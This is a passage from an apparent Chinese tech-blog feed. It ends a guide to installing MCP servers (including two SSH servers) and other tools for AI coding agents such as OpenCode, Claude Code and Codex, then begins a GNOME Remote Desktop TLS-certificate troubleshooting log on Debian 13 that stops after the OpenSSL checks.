codex mcp add --url &amp;quot;https:&amp;#x2F;&amp;#x2F;mcp.tigerdata.com&amp;#x2F;docs&amp;quot; pg-aiguide
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;15-ssh-mcp-server--classfangssh-mcp-server&quot;&gt;15. SSH MCP Server — classfang&#x2F;ssh-mcp-server&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;classfang&#x2F;ssh-mcp-server&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;NPM&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;@fangjunjie&#x2F;ssh-mcp-server&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;通过 MCP 协议远程执行 SSH 命令，支持密码&#x2F;私钥&#x2F;跳板机认证、命令黑白名单、文件上传下载&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;MCP Server（Node.js&#x2F;npx）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-15&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode（命令行）
opencode mcp add ssh-mcp-server -- npx -y @fangjunjie&amp;#x2F;ssh-mcp-server -- --host 192.168.1.1 --username root --password your_password

# OpenCode（手动编辑 ~&amp;#x2F;.config&amp;#x2F;opencode&amp;#x2F;opencode.json）：
{
  &amp;quot;mcpServers&amp;quot;: {
    &amp;quot;ssh-mcp-server&amp;quot;: {
      &amp;quot;command&amp;quot;: &amp;quot;npx&amp;quot;,
      &amp;quot;args&amp;quot;: [
        &amp;quot;-y&amp;quot;, &amp;quot;@fangjunjie&amp;#x2F;ssh-mcp-server&amp;quot;,
        &amp;quot;--host&amp;quot;, &amp;quot;192.168.1.1&amp;quot;,
        &amp;quot;--port&amp;quot;, &amp;quot;22&amp;quot;,
        &amp;quot;--username&amp;quot;, &amp;quot;root&amp;quot;,
        &amp;quot;--password&amp;quot;, &amp;quot;your_password&amp;quot;
      ]
    }
  }
}

# Claude Code
claude mcp add ssh-mcp-server -- npx -y @fangjunjie&amp;#x2F;ssh-mcp-server -- --host 192.168.1.1 --username root --password your_password

# Codex
codex mcp add ssh-mcp-server -- npx -y @fangjunjie&amp;#x2F;ssh-mcp-server -- --host 192.168.1.1 --username root --password your_password
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;si-yao-ren-zheng&quot;&gt;私钥认证&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&amp;#x2F;&amp;#x2F; 将 --password 替换为：
&amp;quot;--privateKey&amp;quot;, &amp;quot;~&amp;#x2F;.ssh&amp;#x2F;id_rsa&amp;quot;
&amp;#x2F;&amp;#x2F; 如有 passphrase 添加：
&amp;quot;--passphrase&amp;quot;, &amp;quot;your_passphrase&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;nei-zhi-ai-skill-fu-zhu-pei-zhi-tui-jian&quot;&gt;内置 AI Skill 辅助配置（推荐）&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装 Skill 后让 AI 助手引导配置
npx skills add classfang&amp;#x2F;ssh-mcp-server -a opencode
# 然后告诉 AI：&amp;quot;Help me set up ssh-mcp-server&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;16-ssh-mcp--tufantuncssh-mcp&quot;&gt;16. SSH MCP — tufantunc&#x2F;ssh-mcp&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;tufantunc&#x2F;ssh-mcp&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;NPM&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ssh-mcp&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;轻量 SSH MCP 服务，支持命令执行和 sudo 提权，可配置超时和命令长度限制&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;MCP Server（Node.js&#x2F;npx）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode（命令行）
opencode mcp add ssh-mcp -- npx -y ssh-mcp -- --host=1.2.3.4 --user=root --password=pass --timeout=30000

# OpenCode（手动编辑 ~&amp;#x2F;.config&amp;#x2F;opencode&amp;#x2F;opencode.json）：
{
  &amp;quot;mcpServers&amp;quot;: {
    &amp;quot;ssh-mcp&amp;quot;: {
      &amp;quot;command&amp;quot;: &amp;quot;npx&amp;quot;,
      &amp;quot;args&amp;quot;: [
        &amp;quot;ssh-mcp&amp;quot;, &amp;quot;-y&amp;quot;, &amp;quot;--&amp;quot;,
        &amp;quot;--host=1.2.3.4&amp;quot;,
        &amp;quot;--port=22&amp;quot;,
        &amp;quot;--user=root&amp;quot;,
        &amp;quot;--password=pass&amp;quot;,
        &amp;quot;--timeout=30000&amp;quot;
      ]
    }
  }
}

# Claude Code
claude mcp add --transport stdio ssh-mcp -- npx -y ssh-mcp -- --host=YOUR_HOST --user=YOUR_USER --password=YOUR_PASSWORD

# Codex
codex mcp add ssh-mcp -- npx -y ssh-mcp -- --host=YOUR_HOST --user=YOUR_USER --password=YOUR_PASSWORD
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;si-yao-ren-zheng-sudo-ti-quan&quot;&gt;私钥认证 &#x2F; sudo 提权&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 私钥认证
--key=&amp;#x2F;path&amp;#x2F;to&amp;#x2F;private&amp;#x2F;key

# sudo 提权
--sudoPassword=your_sudo_pass

# 禁用 sudo 功能
--disableSudo

# 自定义超时（默认 60000ms）
--timeout=120000

# 取消命令长度限制
--maxChars=none
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;liang-ge-ssh-mcp-dui-bi&quot;&gt;两个 SSH MCP 对比&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;th&gt;classfang&#x2F;ssh-mcp-server&lt;&#x2F;th&gt;&lt;th&gt;tufantunc&#x2F;ssh-mcp&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;命令执行&lt;&#x2F;td&gt;&lt;td&gt;✅ &lt;code&gt;execute-command&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;✅ &lt;code&gt;exec&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;sudo 提权&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;✅ &lt;code&gt;sudo-exec&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;文件上传&#x2F;下载&lt;&#x2F;td&gt;&lt;td&gt;✅ &lt;code&gt;upload&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;download&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;跳板机&#x2F;Bastion&lt;&#x2F;td&gt;&lt;td&gt;✅ dual transport&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;命令黑白名单&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;❌ (长度限制)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;服务器列表&lt;&#x2F;td&gt;&lt;td&gt;✅ &lt;code&gt;list-servers&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;内置 Skill&lt;&#x2F;td&gt;&lt;td&gt;✅ ssh-mcp-helper&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;适用场景&lt;&#x2F;td&gt;&lt;td&gt;多服务器管理、文件传输、安全管控&lt;&#x2F;td&gt;&lt;td&gt;快速单机 SSH、sudo 操作&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;python-库类工具&quot;&gt;Python 库类工具&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;通过 Python API 直接调用，不依赖 MCP 或 Skills 协议。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;17-browser-use自然语言浏览器控制-99k&quot;&gt;17. browser-use（自然语言浏览器控制）⭐99k&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;browser-use&#x2F;browser-use&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;官网&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;browser-use.com&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;通过自然语言控制浏览器，实现网页自动化与数据抓取&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Python 库&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-16&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pip install &amp;quot;browser-use[core]&amp;quot;
# 或
uv add &amp;quot;browser-use[core]&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;基本用法：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;from browser_use.beta import Agent
from langchain_openai import ChatOpenAI

agent = Agent(
    task=&amp;quot;打开百度并搜索&amp;#x27;AI编程助手&amp;#x27;&amp;quot;,
    llm=ChatOpenAI(model=&amp;quot;gpt-4o&amp;quot;),
)
result = await agent.run()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;各代理-mcp-配置对照表&quot;&gt;各代理 MCP 配置对照表&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;opencode&quot;&gt;OpenCode&lt;&#x2F;h3&gt;
&lt;p&gt;配置文件：&lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;opencode.json&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;mcpServers&amp;quot;: {
    &amp;quot;playwright&amp;quot;: {
      &amp;quot;command&amp;quot;: &amp;quot;npx&amp;quot;,
      &amp;quot;args&amp;quot;: [&amp;quot;@playwright&amp;#x2F;mcp@latest&amp;quot;]
    },
    &amp;quot;chrome-devtools&amp;quot;: {
      &amp;quot;command&amp;quot;: &amp;quot;npx&amp;quot;,
      &amp;quot;args&amp;quot;: [&amp;quot;chrome-devtools-mcp@latest&amp;quot;]
    },
    &amp;quot;linear&amp;quot;: {
      &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;mcp.linear.app&amp;#x2F;sse&amp;quot;
    },
    &amp;quot;mcp-atlassian&amp;quot;: {
      &amp;quot;command&amp;quot;: &amp;quot;uvx&amp;quot;,
      &amp;quot;args&amp;quot;: [&amp;quot;mcp-atlassian&amp;quot;],
      &amp;quot;env&amp;quot;: {
        &amp;quot;JIRA_URL&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;your-company.atlassian.net&amp;quot;,
        &amp;quot;JIRA_USERNAME&amp;quot;: &amp;quot;your.email@company.com&amp;quot;,
        &amp;quot;JIRA_API_TOKEN&amp;quot;: &amp;quot;your_token&amp;quot;
      }
    },
    &amp;quot;dbhub&amp;quot;: {
      &amp;quot;command&amp;quot;: &amp;quot;npx&amp;quot;,
      &amp;quot;args&amp;quot;: [&amp;quot;@bytebase&amp;#x2F;dbhub@latest&amp;quot;, &amp;quot;--transport&amp;quot;, &amp;quot;stdio&amp;quot;, &amp;quot;--dsn&amp;quot;, &amp;quot;postgres:&amp;#x2F;&amp;#x2F;user:pass@host:5432&amp;#x2F;db&amp;quot;]
    }
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或使用命令行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;opencode mcp add &amp;lt;name&amp;gt; -- &amp;lt;command&amp;gt; [args...]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;claude-code&quot;&gt;Claude Code&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 本地 MCP
claude mcp add &amp;lt;name&amp;gt; &amp;lt;command&amp;gt; [args...]

# 远程 MCP（SSE&amp;#x2F;HTTP）
claude mcp add &amp;lt;name&amp;gt; --url &amp;quot;&amp;lt;url&amp;gt;&amp;quot;

# 示例
claude mcp add playwright npx @playwright&amp;#x2F;mcp@latest
claude mcp add linear --url &amp;quot;https:&amp;#x2F;&amp;#x2F;mcp.linear.app&amp;#x2F;sse&amp;quot;

# Skills &amp;#x2F; 插件
&amp;#x2F;plugin marketplace add &amp;lt;owner&amp;#x2F;repo&amp;gt;
&amp;#x2F;plugin install &amp;lt;name&amp;gt;@&amp;lt;namespace&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;codex-openai-codex-cli&quot;&gt;Codex（OpenAI Codex CLI）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 本地 MCP
codex mcp add &amp;lt;name&amp;gt; -- &amp;lt;command&amp;gt; [args...]

# 远程 MCP
codex mcp add --url &amp;quot;&amp;lt;url&amp;gt;&amp;quot; &amp;lt;name&amp;gt;

# 示例
codex mcp add playwright npx &amp;quot;@playwright&amp;#x2F;mcp@latest&amp;quot;
codex mcp add --url &amp;quot;https:&amp;#x2F;&amp;#x2F;mcp.linear.app&amp;#x2F;sse&amp;quot; linear
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;fu-lu&quot;&gt;附录&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;gong-ju-fen-lei-su-cha&quot;&gt;工具分类速查&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;安装方式&lt;&#x2F;th&gt;&lt;th&gt;适用代理&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;skill-creator&lt;&#x2F;td&gt;&lt;td&gt;Skill&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx skills&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;gstack&lt;&#x2F;td&gt;&lt;td&gt;Skills&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;.&#x2F;setup&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部（原生支持）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;baoyu-skills&lt;&#x2F;td&gt;&lt;td&gt;Skills&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx skills&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;find-skills&lt;&#x2F;td&gt;&lt;td&gt;Skill&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx skills&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;supabase-postgres-best-practices&lt;&#x2F;td&gt;&lt;td&gt;Skill&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx skills&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Cloudflare Skills&lt;&#x2F;td&gt;&lt;td&gt;Skills&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx skills&lt;&#x2F;code&gt; &#x2F; Claude Code Plugin&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Open Design&lt;&#x2F;td&gt;&lt;td&gt;Skills&#x2F;Plugin&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx skills&lt;&#x2F;code&gt; &#x2F; Plugin&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Superpowers&lt;&#x2F;td&gt;&lt;td&gt;Plugin + Skills&lt;&#x2F;td&gt;&lt;td&gt;插件市场（各代理原生安装）&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Playwright MCP&lt;&#x2F;td&gt;&lt;td&gt;MCP&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Playwright CLI&lt;&#x2F;td&gt;&lt;td&gt;CLI + Skills&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npm i -g&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;agent-browser&lt;&#x2F;td&gt;&lt;td&gt;CLI&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npm i -g&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Chrome DevTools&lt;&#x2F;td&gt;&lt;td&gt;MCP&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linear&lt;&#x2F;td&gt;&lt;td&gt;MCP (SSE)&lt;&#x2F;td&gt;&lt;td&gt;远程 URL&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Jira&lt;&#x2F;td&gt;&lt;td&gt;MCP&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;uvx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PostgreSQL&lt;&#x2F;td&gt;&lt;td&gt;MCP&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSH MCP (classfang)&lt;&#x2F;td&gt;&lt;td&gt;MCP&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSH MCP (tufantunc)&lt;&#x2F;td&gt;&lt;td&gt;MCP&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;browser-use&lt;&#x2F;td&gt;&lt;td&gt;Python 库&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;pip install&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;通用（Python）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;can-kao-lian-jie&quot;&gt;参考链接&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;Vercel Skills 生态：https:&#x2F;&#x2F;skills.sh&lt;&#x2F;li&gt;
&lt;li&gt;Anthropic Skills 仓库：https:&#x2F;&#x2F;github.com&#x2F;anthropics&#x2F;skills&lt;&#x2F;li&gt;
&lt;li&gt;MCP 协议规范：https:&#x2F;&#x2F;modelcontextprotocol.io&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GNOME Remote Desktop 证书问题排查记录</title>
        <published>2026-06-13T14:00:00+08:00</published>
        <updated>2026-06-13T14:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/06/gnome-remote-desktop-cert-troubleshooting/"/>
        <id>https://vercel.juzhong.asia/2026/06/gnome-remote-desktop-cert-troubleshooting/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/06/gnome-remote-desktop-cert-troubleshooting/">&lt;h1 id=&quot;gnome-remote-desktop-zheng-shu-wen-ti-pai-cha-ji-lu&quot;&gt;GNOME Remote Desktop 证书问题排查记录&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;huan-jing-xin-xi&quot;&gt;环境信息&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;操作系统&lt;&#x2F;td&gt;&lt;td&gt;Debian 13 (Trixie)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;gnome-remote-desktop&lt;&#x2F;td&gt;&lt;td&gt;48.1-4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;libfreerdp-server&lt;&#x2F;td&gt;&lt;td&gt;3.15.0+dfsg-2.1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;运行模式&lt;&#x2F;td&gt;&lt;td&gt;systemd user service (&lt;code&gt;--user&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;证书目录&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;certificates&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置文件&lt;&#x2F;td&gt;&lt;td&gt;dconf&#x2F;gsettings (&lt;code&gt;org.gnome.desktop.remote-desktop.rdp&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;gu-zhang-xian-xiang&quot;&gt;故障现象&lt;&#x2F;h2&gt;
&lt;p&gt;启动服务后日志报错，RDP 服务无法正常接受连接：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ERROR][com.freerdp.crypto] - [x509_utils_from_pem]: BIO_new failed for certificate
RDP server certificate is invalid
RDP TLS certificate and key not yet configured properly
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pai-cha-bu-zou&quot;&gt;排查步骤&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-jian-cha-zheng-shu-wen-jian-shi-fou-cun-zai&quot;&gt;1. 检查证书文件是否存在&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls -la ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;证书文件 &lt;code&gt;rdp-tls.crt&lt;&#x2F;code&gt; 和 &lt;code&gt;rdp-tls.key&lt;&#x2F;code&gt; 存在。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-yong-openssl-yan-zheng-zheng-shu-ge-shi&quot;&gt;2. 用 OpenSSL 验证证书格式&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl x509 -in rdp-tls.crt -text -noout
openssl rsa  -in rdp-tls.key -check -noout
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两者均通过验证，说明证书本身是合法 PEM 格式。&lt;&#x2F;p&gt;
